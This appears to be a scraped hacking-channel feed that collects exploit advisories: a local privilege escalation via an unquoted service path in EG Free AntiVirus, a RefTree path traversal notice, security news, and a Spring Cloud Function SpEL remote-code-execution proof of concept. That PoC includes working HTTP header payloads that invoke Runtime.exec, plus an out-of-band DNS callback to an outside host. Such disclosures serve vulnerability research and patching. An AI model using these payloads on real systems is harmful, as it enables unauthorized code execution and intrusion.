Exploit Collector
EG Free AntiVirus 2020 Privilege Escalation / Unquoted Service Path

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
EG Free AntiVirus version 2020 suffers from an unquoted service path vulnerability that can lead to privilege escalation.

MD5 | 1f237a69cc97f9cb11c0109dcc192e3e

Download
# Exploit Title: EG Free AntiVirus v2020 - Unquoted Service Path (Local Privilege Escalation)
# Date: 24/01/2022
# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)
# Vendor Homepage: http://www.egsoftweb.in/index.aspx
# Software Link: http://www.egsoftweb.in/OurProduct_Readmore.aspx?id=6
# Version: 2020
# Tested: Windows 10 (x64)
# CVE: CVE-2021-46439

-------------
Description:
-------------

EG Free AntiVirus (v2020) installs a service (WinSEGAV AutoConfig) with
an unquoted service path. Since this service is running as SYSTEM, it
creates a local privilege escalation vulnerability. To properly exploit
this vulnerability, a local attacker must insert an executable in the
path of the service. Rebooting the system or restarting the service
will run the malicious executable with elevated privileges.

------------------
Proof of Concept:
------------------

C:\Users\shah>sc qc “WinSEGAV AutoConfig”
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WinSEGAV AutoConfig
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\EGSoftWeb\EG Anti
Virus\egavser.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Service For EG Free AntiVirus
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Best regards,
Shahrukh Iqbal Mirza.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IdeaRE RefTree Path Traversal

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
IdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.

MD5 | 1904b5871bb55bef8c2d09153a908a8b

Download
===============================================================================
title: IdeaRE RefTree Download Path Traversal
product: IdeaRE RefTree < 2021.09.17
vulnerability type: Directory Traversal
CVE ID: CVE-2022-27248
severity: Medium
CVSSv3 score: 4.3
CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
found: 2021-09-13
by: Savino Sisco = 2021.09.17

[CONTACT DETAILS]
Savino Sisco
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Recon Tool: PSRecon

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
U.S. Cyber Command Adds APUS as Member in Newly Formed Academic Network

The Academic Engagement Network is designed to advance cybersecurity in four areas.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Global BEC Crackdown Nets 65 Suspects

FBI and international law enforcement agencies execute "Operation Eagle Sweep."

Cross-Site Scripting (XSS) via image rendering application

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to teach you how to test an image rendering application and be…Continue reading on Medium »
Read more...

Spring-Spel-0Day-Poc - Spring-Cloud / spring-cloud-function, spring.cloud.function.routing-expression, RCE, 0day, 0-day, POC, EXP
http://www.kitploit.com/2022/03/spring-spel-0day-poc-spring-cloud.html

___________________________
@hacking_Attack
@Hacking_Video

spring-cloud/spring-cloud-function RCE (https://www.kitploit.com/search/label/RCE) EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")
build wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

___________________________
@hacking_Attack
@Hacking_Video

get path lists for test find . -name "*.java"|xargs -I % cat %|grep -Eo '"([^" \.\/=>\|,:\}\+\)'"'"']{8,})"'|sort -u|sed 's/"//g' ...
functionRouter
uppercase
lowercase
...

___________________________
@hacking_Attack
@Hacking_Video

poc1 POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X (https://www.kitploit.com/search/label/OS%20X) 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a /System/Applications/Calculator.app")
Content-Length: 5

51pwn

___________________________
@hacking_Attack
@Hacking_Video

poc2 POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("random87535.rce.51pwn.com")
Content-Length: 5

51pwn
check curl -v 'https://51pwn.com/dnslog?q=random87535.rce.51pwn.com'

Download Spring-Spel-0Day-Poc (https://github.com/hktalent/spring-spel-0day-poc)

___________________________
@hacking_Attack
@Hacking_Video

Cross-Site Scripting (XSS) via image rendering application
https://medium.com/@mrempy/cross-site-scripting-xss-via-image-rendering-application-f8427afe746d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to teach you how to test an image rendering application and be…Continue reading on Medium » (https://medium.com/@mrempy/cross-site-scripting-xss-via-image-rendering-application-f8427afe746d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Preventing clickjacking exploits using AWS Cloudfront

https://cdn-images-1.medium.com/max/2600/1*EKe18g1l7Etlkt4b3VEi8w.jpeg
I recently got an email from a white hat hacker about how our site was vulnerable to clickjacking exploits. As a small startup focused on…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video